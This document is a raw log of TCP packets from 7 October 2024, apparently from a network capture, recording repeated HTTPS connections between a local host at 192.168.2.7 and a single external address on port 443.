Oct 7, 2024 06:44:18.118524075 CEST	49735	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.118668079 CEST	49735	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.118680000 CEST	443	49735	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.119724035 CEST	49736	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.119761944 CEST	443	49736	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.119829893 CEST	49736	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.119941950 CEST	49736	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.119956017 CEST	443	49736	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.127005100 CEST	443	49728	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.127068043 CEST	443	49728	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.127120018 CEST	49728	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.127240896 CEST	49728	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.127249002 CEST	443	49728	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.127260923 CEST	49728	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.127264977 CEST	443	49728	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.129132032 CEST	49737	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.129215956 CEST	443	49737	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.131052971 CEST	49737	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.131140947 CEST	49737	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.131167889 CEST	443	49737	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.726588964 CEST	443	49734	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.734385967 CEST	443	49733	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.746274948 CEST	49734	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.746290922 CEST	443	49734	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.746985912 CEST	49734	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.746992111 CEST	443	49734	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.747252941 CEST	49733	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.747258902 CEST	443	49733	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.747622967 CEST	49733	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.747627020 CEST	443	49733	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.772849083 CEST	443	49736	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.785578012 CEST	443	49737	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.790535927 CEST	443	49735	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.819252968 CEST	49736	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.834132910 CEST	49737	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.834136963 CEST	49735	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.842499971 CEST	443	49734	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.842583895 CEST	443	49734	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.842641115 CEST	49734	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.844244957 CEST	443	49733	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.844319105 CEST	443	49733	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.844361067 CEST	49733	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.080394030 CEST	49736	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.080420017 CEST	443	49736	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.080852032 CEST	49736	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.080857992 CEST	443	49736	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.081106901 CEST	49733	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.081132889 CEST	443	49733	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.081149101 CEST	49733	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.081155062 CEST	443	49733	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.083111048 CEST	49737	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.083180904 CEST	443	49737	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.083746910 CEST	49737	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.083758116 CEST	443	49737	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.084498882 CEST	49735	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.084589005 CEST	443	49735	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.084995031 CEST	49735	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.085014105 CEST	443	49735	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.086688042 CEST	49734	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.086694956 CEST	443	49734	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.086707115 CEST	49734	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.086709976 CEST	443	49734	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.094727993 CEST	49738	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.094794989 CEST	443	49738	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.094870090 CEST	49738	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.095174074 CEST	49738	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.095189095 CEST	443	49738	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.096333027 CEST	49739	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.096363068 CEST	443	49739	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.096414089 CEST	49739	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.096546888 CEST	49739	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.096559048 CEST	443	49739	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.178785086 CEST	443	49736	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.178937912 CEST	443	49736	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.179128885 CEST	49736	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.179130077 CEST	49736	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.179162025 CEST	49736	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.179174900 CEST	443	49736	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.180607080 CEST	443	49737	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.180957079 CEST	443	49737	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.181020021 CEST	49737	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.181094885 CEST	49737	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.181094885 CEST	49737	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.181139946 CEST	443	49737	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.181165934 CEST	443	49737	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.181674957 CEST	49740	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.181714058 CEST	443	49740	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.181775093 CEST	49740	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.182024002 CEST	49740	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.182033062 CEST	443	49740	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.182959080 CEST	49741	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.182996988 CEST	443	49741	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.183058023 CEST	49741	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.183171034 CEST	49741	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.183185101 CEST	443	49741	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.185168982 CEST	443	49735	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.185369015 CEST	443	49735	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.185442924 CEST	49735	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.185480118 CEST	49735	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.185480118 CEST	49735	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.185494900 CEST	443	49735	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.185503960 CEST	443	49735	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.187279940 CEST	49742	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.187289953 CEST	443	49742	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.187361956 CEST	49742	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.187474012 CEST	49742	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.187482119 CEST	443	49742	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.731093884 CEST	443	49739	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.735752106 CEST	49739	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.735785961 CEST	443	49739	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.736224890 CEST	49739	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.736243010 CEST	443	49739	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.743123055 CEST	443	49738	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.743680954 CEST	49738	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.743720055 CEST	443	49738	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.744101048 CEST	49738	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.744110107 CEST	443	49738	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.828674078 CEST	443	49740	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.829421997 CEST	49740	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.829453945 CEST	443	49740	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.829855919 CEST	49740	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.829862118 CEST	443	49740	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.831917048 CEST	443	49741	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.832334995 CEST	49741	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.832367897 CEST	443	49741	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.832647085 CEST	49741	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.832653999 CEST	443	49741	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.837208986 CEST	443	49739	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.837285042 CEST	443	49739	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.837354898 CEST	49739	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.837539911 CEST	49739	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.837558985 CEST	443	49739	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.837570906 CEST	49739	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.837577105 CEST	443	49739	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.838671923 CEST	443	49742	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.839010954 CEST	49742	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.839042902 CEST	443	49742	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.839396954 CEST	49742	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.839405060 CEST	443	49742	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.840306044 CEST	49743	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.840352058 CEST	443	49743	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.840451956 CEST	49743	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.840610027 CEST	49743	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.840616941 CEST	443	49743	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.846054077 CEST	443	49738	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.846223116 CEST	443	49738	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.846295118 CEST	49738	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.846371889 CEST	49738	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.846373081 CEST	49738	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.846426010 CEST	443	49738	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.846452951 CEST	443	49738	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.848512888 CEST	49744	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.848545074 CEST	443	49744	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.848615885 CEST	49744	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.848737955 CEST	49744	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.848754883 CEST	443	49744	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.929801941 CEST	443	49740	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.929862022 CEST	443	49740	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.930080891 CEST	49740	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.930386066 CEST	49740	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.930401087 CEST	443	49740	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.930449009 CEST	49740	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.930454969 CEST	443	49740	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.933146000 CEST	443	49741	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.933207035 CEST	443	49741	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.933291912 CEST	49741	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.933363914 CEST	49741	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.933389902 CEST	443	49741	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.933403969 CEST	49741	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.933409929 CEST	443	49741	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.933967113 CEST	49745	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.934010029 CEST	443	49745	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.934091091 CEST	49745	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.934221029 CEST	49745	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.934228897 CEST	443	49745	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.935592890 CEST	49746	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.935607910 CEST	443	49746	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.935693979 CEST	49746	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.935827971 CEST	49746	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.935842991 CEST	443	49746	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.938966990 CEST	443	49742	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.939120054 CEST	443	49742	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.939207077 CEST	49742	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.939249039 CEST	49742	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.939249039 CEST	49742	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.939265013 CEST	443	49742	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.939275026 CEST	443	49742	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.940978050 CEST	49747	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.941004992 CEST	443	49747	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:19.941097975 CEST	49747	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.941212893 CEST	49747	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:19.941226006 CEST	443	49747	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.486407995 CEST	443	49744	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.487119913 CEST	49744	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.487134933 CEST	443	49744	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.487585068 CEST	49744	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.487590075 CEST	443	49744	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.500133038 CEST	443	49743	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.500622988 CEST	49743	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.500662088 CEST	443	49743	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.501187086 CEST	49743	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.501204967 CEST	443	49743	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.580883980 CEST	443	49747	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.581576109 CEST	443	49745	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.581728935 CEST	49747	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.581743002 CEST	443	49747	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.582194090 CEST	49747	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.582199097 CEST	443	49747	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.582417965 CEST	49745	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.582458019 CEST	443	49745	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.582762003 CEST	49745	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.582767963 CEST	443	49745	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.586105108 CEST	443	49744	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.586169958 CEST	443	49744	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.586251020 CEST	49744	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.586478949 CEST	49744	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.586497068 CEST	443	49744	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.586507082 CEST	49744	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.586513042 CEST	443	49744	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.589668036 CEST	49748	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.589705944 CEST	443	49748	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.589787006 CEST	49748	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.590044975 CEST	49748	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.590050936 CEST	443	49748	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.598232031 CEST	443	49746	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.598601103 CEST	49746	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.598619938 CEST	443	49746	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.599284887 CEST	49746	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.599291086 CEST	443	49746	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.603696108 CEST	443	49743	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.603792906 CEST	443	49743	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.603842974 CEST	49743	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.603913069 CEST	49743	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.603933096 CEST	443	49743	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.603943110 CEST	49743	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.603950977 CEST	443	49743	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.606460094 CEST	49749	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.606499910 CEST	443	49749	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.606568098 CEST	49749	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.606769085 CEST	49749	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.606782913 CEST	443	49749	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.678874016 CEST	443	49747	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.679016113 CEST	443	49747	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.679102898 CEST	49747	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.679219961 CEST	49747	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.679238081 CEST	443	49747	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.679249048 CEST	49747	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.679255009 CEST	443	49747	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.681081057 CEST	443	49745	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.681220055 CEST	443	49745	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.681298971 CEST	49745	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.681341887 CEST	49745	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.681341887 CEST	49745	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.681361914 CEST	443	49745	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.681372881 CEST	443	49745	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.682257891 CEST	49750	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.682290077 CEST	443	49750	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.682373047 CEST	49750	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.682506084 CEST	49750	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.682512045 CEST	443	49750	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.683753967 CEST	49751	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.683788061 CEST	443	49751	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.683865070 CEST	49751	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.684041977 CEST	49751	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.684057951 CEST	443	49751	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.701267004 CEST	443	49746	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.701314926 CEST	443	49746	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.701370955 CEST	49746	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.701565027 CEST	49746	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.701586962 CEST	443	49746	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.701598883 CEST	49746	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.701605082 CEST	443	49746	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.704313993 CEST	49752	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.704349995 CEST	443	49752	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:20.704446077 CEST	49752	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.704699039 CEST	49752	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:20.704711914 CEST	443	49752	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.483928919 CEST	443	49752	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.484497070 CEST	49752	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.484530926 CEST	443	49752	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.485357046 CEST	49752	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.485364914 CEST	443	49752	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.492099047 CEST	443	49751	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.492532015 CEST	49751	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.492549896 CEST	443	49751	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.493109941 CEST	49751	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.493119955 CEST	443	49751	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.495615959 CEST	443	49748	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.495718002 CEST	443	49750	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.496042967 CEST	49748	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.496059895 CEST	443	49748	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.496200085 CEST	49750	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.496232033 CEST	443	49750	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.496537924 CEST	49748	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.496542931 CEST	443	49748	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.496745110 CEST	49750	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.496757984 CEST	443	49750	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.497457027 CEST	443	49749	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.497843981 CEST	49749	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.497853994 CEST	443	49749	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.498437881 CEST	49749	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.498444080 CEST	443	49749	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.583106995 CEST	443	49752	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.583169937 CEST	443	49752	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.583236933 CEST	49752	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.583615065 CEST	49752	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.583615065 CEST	49752	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.583642006 CEST	443	49752	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.583652020 CEST	443	49752	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.587342978 CEST	49753	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.587380886 CEST	443	49753	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.587467909 CEST	49753	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.587615967 CEST	49753	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.587625980 CEST	443	49753	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.591839075 CEST	443	49751	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.591996908 CEST	443	49751	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.592065096 CEST	49751	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.592097044 CEST	49751	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.592097044 CEST	49751	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.592113972 CEST	443	49751	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.592123985 CEST	443	49751	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.594382048 CEST	49754	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.594392061 CEST	443	49754	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.594475985 CEST	49754	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.594693899 CEST	49754	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.594706059 CEST	443	49754	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.594877005 CEST	443	49750	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.595055103 CEST	443	49750	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.595114946 CEST	49750	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.595150948 CEST	49750	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.595165968 CEST	443	49750	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:21.595195055 CEST	49750	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:21.595201969 CEST	443	49750	13.107.246.60	192.168.2.7
